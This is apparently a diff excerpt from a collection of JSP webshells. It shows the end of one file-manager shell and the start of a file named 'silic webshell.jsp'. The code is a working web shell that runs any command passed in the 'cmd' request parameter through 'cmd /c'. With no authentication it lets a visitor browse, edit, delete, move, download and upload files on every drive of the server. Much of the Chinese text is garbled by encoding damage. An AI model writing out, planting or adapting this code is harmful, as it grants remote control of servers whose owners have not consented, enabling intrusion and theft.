sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileEdit[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDel[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDown[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileCopy[languageNo]+"</a> ");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
out.println("<font color=red><3E><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD> "+e.toString()+"</font>");
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
|
||||||
|
<DIV id="tabcontentcontainer">
|
||||||
|
|
||||||
|
|
||||||
|
<div id="menu3" class="tabcontent">
|
||||||
|
<br>
|
||||||
|
<br> δ<><CEB4><EFBFBD><EFBFBD>
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="menu4" class="tabcontent">
|
||||||
|
<br>
|
||||||
|
<p>һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5></p>
|
||||||
|
<p> jsp <20>汾<EFBFBD><E6B1BE><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5>ļ<EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD><EFBFBD>ġ<DEB8></p>
|
||||||
|
<p>ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>windowsϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>ṩ<EFBFBD><E1B9A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ڵĹ<DAB5><C4B9>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һЩ<D2BB><D0A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></p>
|
||||||
|
<p><3E><>windows<77><73>cmd<6D><64></p>
|
||||||
|
<p> </p>
|
||||||
|
<p><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></p>
|
||||||
|
<p> <b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ù<EFBFBD><C3B9><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD>κ<EFBFBD><CEBA><EFBFBD><EFBFBD>⣬<EFBFBD><E2A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߽<EFBFBD><DFBD>鶼<EFBFBD><E9B6BC><EFBFBD>Ը<EFBFBD><D4B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԣ<EFBFBD><D4A3>Ա<EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƺ<EFBFBD><C6BA>ȶ<EFBFBD><C8B6><EFBFBD><p>
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD>Ե<EFBFBD>ַΪ<EFBFBD><EFBFBD><a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>
|
||||||
|
<p> </p>
|
||||||
|
<p><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>¼</p>
|
||||||
|
<p> 2004.11.15 V0.9<EFBFBD><EFBFBD><EFBFBD>淢<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һЩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĺ<EFBFBD><EFBFBD>ܣ<EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD>༭<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ơ<EFBFBD>ɾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD><EFBFBD>ϴ<EFBFBD><EFBFBD>Լ<EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>ļ<EFBFBD>Ŀ¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD></p>
|
||||||
|
<p> 2004.10.27 <20><>ʱ<EFBFBD><CAB1>Ϊ0.6<EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD> <20>ṩ<EFBFBD><E1B9A9>Ŀ¼<C4BF>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> cmd<6D><64><EFBFBD><EFBFBD></p>
|
||||||
|
<p> 2004.09.20 <20><>һ<EFBFBD><D2BB>jsp <3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><F2B5A5B5><EFBFBD>ʾĿ¼<C4BF>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD></p>
|
||||||
|
<p> </p>
|
||||||
|
<p> </p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div id="menu1" class="tabcontent">
|
||||||
|
<%
|
||||||
|
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"<22><> <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
|
||||||
|
%>
|
||||||
|
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td width="25%" align="center" valign="top">
|
||||||
|
<table width="98%" border="0" cellspacing="0" cellpadding="3">
|
||||||
|
<%=sbFolder%>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
<td width="81%" align="left" valign="top">
|
||||||
|
|
||||||
|
<%
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
out.println(sbEdit.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
out.println(sbCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
out.println(sbDown.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
out.println(sbSaveCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
|
||||||
|
{
|
||||||
|
out.println(sbNewFile.toString());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
|
||||||
|
<tr bgcolor="#E7e7e6">
|
||||||
|
<td width="26%"><%=strFileName[languageNo]%></td>
|
||||||
|
<td width="19%"><%=strFileSize[languageNo]%></td>
|
||||||
|
<td width="29%"><%=strLastModified[languageNo]%></td>
|
||||||
|
<td width="26%"><%=strFileOperation[languageNo]%></td>
|
||||||
|
</tr>
|
||||||
|
<%=sbFile%>
|
||||||
|
<!-- <tr align="center">
|
||||||
|
<td colspan="4"><br>
|
||||||
|
<20>ܼ<EFBFBD><DCBC>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><font color="#FF0000">30</font> <20><><EFBFBD><EFBFBD>С<EFBFBD><D0A1><font color="#FF0000">664.9</font>
|
||||||
|
KB </td>
|
||||||
|
</tr>
|
||||||
|
-->
|
||||||
|
</table>
|
||||||
|
</span>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<form name="frmMake" action="" method="post">
|
||||||
|
<tr><td colspan=2 bgcolor=#FBFFC6>
|
||||||
|
<input type="hidden" name="action" value="newFile">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<%
|
||||||
|
if(!strDir.endsWith("\\"))
|
||||||
|
strDir = strDir + "\\";
|
||||||
|
%>
|
||||||
|
<input type="text" name="fileName" size=36 value="<%=strDir%>">
|
||||||
|
<input type="submit" name="btnNewFile" value="<22>½<EFBFBD><C2BD>ļ<EFBFBD>" onclick="frmMake.submit()" >
|
||||||
|
<input type="submit" name="btnNewDir" value="<22>½<EFBFBD>Ŀ¼" onclick="frmMake.submit()" >
|
||||||
|
</form>
|
||||||
|
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
|
||||||
|
<input type="hidden" name="action" value="upload">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<input type="file" name="cqqUploadFile" size="36">
|
||||||
|
<input type="submit" name="submit" value="<22>ϴ<EFBFBD>">
|
||||||
|
</td></tr></form>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<div id="menu2" class="tabcontent">
|
||||||
|
|
||||||
|
<%
|
||||||
|
String line="";
|
||||||
|
StringBuffer sbCmd=new StringBuffer("");
|
||||||
|
|
||||||
|
if(strCmd!=null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
//out.println(strCmd);
|
||||||
|
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbCmd.append(line+"\r\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
System.out.println(e.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
strCmd = "set";
|
||||||
|
}
|
||||||
|
|
||||||
|
%>
|
||||||
|
<form name="cmd" action="" method="post">
|
||||||
|
|
||||||
|
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
|
||||||
|
</form>
|
||||||
|
<%
|
||||||
|
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
|
||||||
|
<br>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
</DIV>
|
||||||
|
</div>
|
||||||
|
<br><br>
|
||||||
|
<center><a href="http://www.topronet.com" target="_blank">www.topronet.com</a> ,All Rights Reserved.
|
||||||
|
<br>Any question, please email me cqq1978@Gmail.com
|
||||||
|
|
||||||
844
net-friend/jsp/silic webshell.jsp
Normal file
844
net-friend/jsp/silic webshell.jsp
Normal file
@@ -0,0 +1,844 @@
|
|||||||
|
<%@ page contentType="text/html;charset=gb2312"%>
|
||||||
|
<%@page import="java.io.*,java.util.*,java.net.*" %>
|
||||||
|
<%!
|
||||||
|
private final static int languageNo=0;
|
||||||
|
String strThisFile="JFolder.jsp";
|
||||||
|
String[] authorInfo={"<font color=red>Silic Group</font>"};
|
||||||
|
String[] strFileManage = {"<22><> <20><> <20><> <20><>","File Management"};
|
||||||
|
String[] strCommand = {"CMD <20><> <20><>","Command Window"};
|
||||||
|
String[] strSysProperty = {"ϵ ͳ <20><> <20><>","System Property"};
|
||||||
|
String[] strHelp = {"<22><> <20><>","Help"};
|
||||||
|
String[] strParentFolder = {"<22>ϼ<EFBFBD>Ŀ¼","Parent Folder"};
|
||||||
|
String[] strCurrentFolder= {"<22><>ǰĿ¼","Current Folder"};
|
||||||
|
String[] strDrivers = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Drivers"};
|
||||||
|
String[] strFileName = {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","File Name"};
|
||||||
|
String[] strFileSize = {"<22>ļ<EFBFBD><C4BC><EFBFBD>С","File Size"};
|
||||||
|
String[] strLastModified = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Last Modified"};
|
||||||
|
String[] strFileOperation= {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","Operations"};
|
||||||
|
String[] strFileEdit = {"<22><EFBFBD>","Edit"};
|
||||||
|
String[] strFileDown = {"<22><><EFBFBD><EFBFBD>","Download"};
|
||||||
|
String[] strFileCopy = {"<22><><EFBFBD><EFBFBD>","Move"};
|
||||||
|
String[] strFileDel = {"ɾ<><C9BE>","Delete"};
|
||||||
|
String[] strExecute = {"ִ<><D6B4>","Execute"};
|
||||||
|
String[] strBack = {"<22><><EFBFBD><EFBFBD>","Back"};
|
||||||
|
String[] strFileSave = {"<22><><EFBFBD><EFBFBD>","Save"};
|
||||||
|
public class FileHandler
|
||||||
|
{
|
||||||
|
private String strAction="";
|
||||||
|
private String strFile="";
|
||||||
|
void FileHandler(String action,String f)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public static class UploadMonitor {
|
||||||
|
static Hashtable uploadTable = new Hashtable();
|
||||||
|
static void set(String fName, UplInfo info) {
|
||||||
|
uploadTable.put(fName, info);
|
||||||
|
}
|
||||||
|
static void remove(String fName) {
|
||||||
|
uploadTable.remove(fName);
|
||||||
|
}
|
||||||
|
static UplInfo getInfo(String fName) {
|
||||||
|
UplInfo info = (UplInfo) uploadTable.get(fName);
|
||||||
|
return info;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public class UplInfo {
|
||||||
|
public long totalSize;
|
||||||
|
public long currSize;
|
||||||
|
public long starttime;
|
||||||
|
public boolean aborted;
|
||||||
|
public UplInfo() {
|
||||||
|
totalSize = 0l;
|
||||||
|
currSize = 0l;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
public UplInfo(int size) {
|
||||||
|
totalSize = size;
|
||||||
|
currSize = 0;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
public String getUprate() {
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
if (time != 0) {
|
||||||
|
long uprate = currSize * 1000 / time;
|
||||||
|
return convertFileSize(uprate) + "/s";
|
||||||
|
}
|
||||||
|
else return "n/a";
|
||||||
|
}
|
||||||
|
public int getPercent() {
|
||||||
|
if (totalSize == 0) return 0;
|
||||||
|
else return (int) (currSize * 100 / totalSize);
|
||||||
|
}
|
||||||
|
public String getTimeElapsed() {
|
||||||
|
long time = (System.currentTimeMillis() - starttime) / 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
public String getTimeEstimated() {
|
||||||
|
if (currSize == 0) return "n/a";
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
time = totalSize * time / currSize;
|
||||||
|
time /= 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public class FileInfo {
|
||||||
|
public String name = null, clientFileName = null, fileContentType = null;
|
||||||
|
private byte[] fileContents = null;
|
||||||
|
public File file = null;
|
||||||
|
public StringBuffer sb = new StringBuffer(100);
|
||||||
|
public void setFileContents(byte[] aByteArray) {
|
||||||
|
fileContents = new byte[aByteArray.length];
|
||||||
|
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public class HttpMultiPartParser {
|
||||||
|
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
||||||
|
private final int ONE_MB = 1024 * 1;
|
||||||
|
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
|
||||||
|
int clength) throws IllegalArgumentException, IOException {
|
||||||
|
if (is == null) throw new IllegalArgumentException("InputStream");
|
||||||
|
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
|
||||||
|
"\"" + boundary + "\" is an illegal boundary indicator");
|
||||||
|
boundary = "--" + boundary;
|
||||||
|
StringTokenizer stLine = null, stFields = null;
|
||||||
|
FileInfo fileInfo = null;
|
||||||
|
Hashtable dataTable = new Hashtable(5);
|
||||||
|
String line = null, field = null, paramName = null;
|
||||||
|
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
|
||||||
|
boolean isFile = false;
|
||||||
|
if (saveFiles) { // Create the required directory (including parent dirs)
|
||||||
|
File f = new File(saveInDir);
|
||||||
|
f.mkdirs();
|
||||||
|
}
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null || !line.startsWith(boundary)) throw new IOException(
|
||||||
|
"Boundary not found; boundary = " + boundary + ", line = " + line);
|
||||||
|
while (line != null) {
|
||||||
|
if (line == null || !line.startsWith(boundary)) return dataTable;
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
stLine = new StringTokenizer(line, ";\r\n");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
line = stLine.nextToken().toLowerCase();
|
||||||
|
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
||||||
|
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
fileInfo = new FileInfo();
|
||||||
|
stFields.nextToken();
|
||||||
|
paramName = stFields.nextToken();
|
||||||
|
isFile = false;
|
||||||
|
if (stLine.hasMoreTokens()) {
|
||||||
|
field = stLine.nextToken();
|
||||||
|
stFields = new StringTokenizer(field, "=\"");
|
||||||
|
if (stFields.countTokens() > 1) {
|
||||||
|
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
|
||||||
|
fileInfo.name = paramName;
|
||||||
|
String value = stFields.nextToken();
|
||||||
|
if (value != null && value.trim().length() > 0) {
|
||||||
|
fileInfo.clientFileName = value;
|
||||||
|
isFile = true;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (field.toLowerCase().indexOf("filename") >= 0) {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
boolean skipBlankLine = true;
|
||||||
|
if (isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
if (line.trim().length() < 1) skipBlankLine = false;
|
||||||
|
else {
|
||||||
|
stLine = new StringTokenizer(line, ": ");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in third line");
|
||||||
|
stLine.nextToken(); // Content-Type
|
||||||
|
fileInfo.fileContentType = stLine.nextToken();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (skipBlankLine) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
}
|
||||||
|
if (!isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
dataTable.put(paramName, line);
|
||||||
|
// If parameter is dir, change saveInDir to dir
|
||||||
|
if (paramName.equals("dir")) saveInDir = line;
|
||||||
|
line = getLine(is);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
UplInfo uplInfo = new UplInfo(clength);
|
||||||
|
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
|
||||||
|
OutputStream os = null;
|
||||||
|
String path = null;
|
||||||
|
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
|
||||||
|
fileInfo.clientFileName));
|
||||||
|
else os = new ByteArrayOutputStream(ONE_MB);
|
||||||
|
boolean readingContent = true;
|
||||||
|
byte previousLine[] = new byte[2 * ONE_MB];
|
||||||
|
byte temp[] = null;
|
||||||
|
byte currentLine[] = new byte[2 * ONE_MB];
|
||||||
|
int read, read3;
|
||||||
|
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
while (readingContent) {
|
||||||
|
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
uplInfo.aborted = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (compareBoundary(boundary, currentLine)) {
|
||||||
|
os.write(previousLine, 0, read - 2);
|
||||||
|
line = new String(currentLine, 0, read3);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
os.write(previousLine, 0, read);
|
||||||
|
uplInfo.currSize += read;
|
||||||
|
temp = currentLine;
|
||||||
|
currentLine = previousLine;
|
||||||
|
previousLine = temp;
|
||||||
|
read = read3;
|
||||||
|
}//end else
|
||||||
|
}//end while
|
||||||
|
os.flush();
|
||||||
|
os.close();
|
||||||
|
if (!saveFiles) {
|
||||||
|
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
|
||||||
|
fileInfo.setFileContents(baos.toByteArray());
|
||||||
|
}
|
||||||
|
else fileInfo.file = new File(path);
|
||||||
|
dataTable.put(paramName, fileInfo);
|
||||||
|
uplInfo.currSize = uplInfo.totalSize;
|
||||||
|
}//end try
|
||||||
|
catch (IOException e) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dataTable;
|
||||||
|
}
|
||||||
|
private boolean compareBoundary(String boundary, byte ba[]) {
|
||||||
|
byte b;
|
||||||
|
if (boundary == null || ba == null) return false;
|
||||||
|
for (int i = 0; i < boundary.length(); i++)
|
||||||
|
if ((byte) boundary.charAt(i) != ba[i]) return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
private synchronized String getLine(ServletInputStream sis) throws IOException {
|
||||||
|
byte b[] = new byte[1024];
|
||||||
|
int read = sis.readLine(b, 0, b.length), index;
|
||||||
|
String line = null;
|
||||||
|
if (read != -1) {
|
||||||
|
line = new String(b, 0, read);
|
||||||
|
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
|
||||||
|
}
|
||||||
|
return line;
|
||||||
|
}
|
||||||
|
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
|
||||||
|
String path = null;
|
||||||
|
if (dir == null || fileName == null) throw new IllegalArgumentException(
|
||||||
|
"dir or fileName is null");
|
||||||
|
int index = fileName.lastIndexOf('/');
|
||||||
|
String name = null;
|
||||||
|
if (index >= 0) name = fileName.substring(index + 1);
|
||||||
|
else name = fileName;
|
||||||
|
index = name.lastIndexOf('\\');
|
||||||
|
if (index >= 0) fileName = name.substring(index + 1);
|
||||||
|
path = dir + File.separator + fileName;
|
||||||
|
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
||||||
|
else return path.replace('/', File.separatorChar);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String formatPath(String p)
|
||||||
|
{
|
||||||
|
StringBuffer sb=new StringBuffer();
|
||||||
|
for (int i = 0; i < p.length(); i++)
|
||||||
|
{
|
||||||
|
if(p.charAt(i)=='\\')
|
||||||
|
{
|
||||||
|
sb.append("\\\\");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sb.append(p.charAt(i));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
static String conv2Html(int i) {
|
||||||
|
if (i == '&') return "&";
|
||||||
|
else if (i == '<') return "<";
|
||||||
|
else if (i == '>') return ">";
|
||||||
|
else if (i == '"') return """;
|
||||||
|
else return "" + (char) i;
|
||||||
|
}
|
||||||
|
static String htmlEncode(String st) {
|
||||||
|
StringBuffer buf = new StringBuffer();
|
||||||
|
for (int i = 0; i < st.length(); i++) {
|
||||||
|
buf.append(conv2Html(st.charAt(i)));
|
||||||
|
}
|
||||||
|
return buf.toString();
|
||||||
|
}
|
||||||
|
String getDrivers()
|
||||||
|
{
|
||||||
|
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
|
||||||
|
File roots[]=File.listRoots();
|
||||||
|
for(int i=0;i<roots.length;i++)
|
||||||
|
{
|
||||||
|
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
|
||||||
|
sb.append(roots[i]+"</a> ");
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
static String convertFileSize(long filesize)
|
||||||
|
{
|
||||||
|
String strUnit="Bytes";
|
||||||
|
String strAfterComma="";
|
||||||
|
int intDivisor=1;
|
||||||
|
if(filesize>=1024*1024)
|
||||||
|
{
|
||||||
|
strUnit = "MB";
|
||||||
|
intDivisor=1024*1024;
|
||||||
|
}
|
||||||
|
else if(filesize>=1024)
|
||||||
|
{
|
||||||
|
strUnit = "KB";
|
||||||
|
intDivisor=1024;
|
||||||
|
}
|
||||||
|
if(intDivisor==1) return filesize + " " + strUnit;
|
||||||
|
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
|
||||||
|
if(strAfterComma=="") strAfterComma=".0";
|
||||||
|
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
request.setCharacterEncoding("gb2312");
|
||||||
|
String tabID = request.getParameter("tabID");
|
||||||
|
String strDir = request.getParameter("path");
|
||||||
|
String strAction = request.getParameter("action");
|
||||||
|
String strFile = request.getParameter("file");
|
||||||
|
String strPath = strDir + "\\" + strFile;
|
||||||
|
String strCmd = request.getParameter("cmd");
|
||||||
|
StringBuffer sbEdit=new StringBuffer("");
|
||||||
|
StringBuffer sbDown=new StringBuffer("");
|
||||||
|
StringBuffer sbCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbSaveCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbNewFile=new StringBuffer("");
|
||||||
|
if((tabID==null) || tabID.equals(""))
|
||||||
|
{
|
||||||
|
tabID = "1";
|
||||||
|
}
|
||||||
|
if(strDir==null||strDir.length()<1)
|
||||||
|
{
|
||||||
|
strDir = request.getRealPath("/");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
if(f.length()==0)
|
||||||
|
{
|
||||||
|
sbDown.append("<22>ļ<EFBFBD><C4BC><EFBFBD>СΪ 0 <20>ֽڣ<D6BD><DAA3>Ͳ<EFBFBD><CDB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˰<EFBFBD>");
|
||||||
|
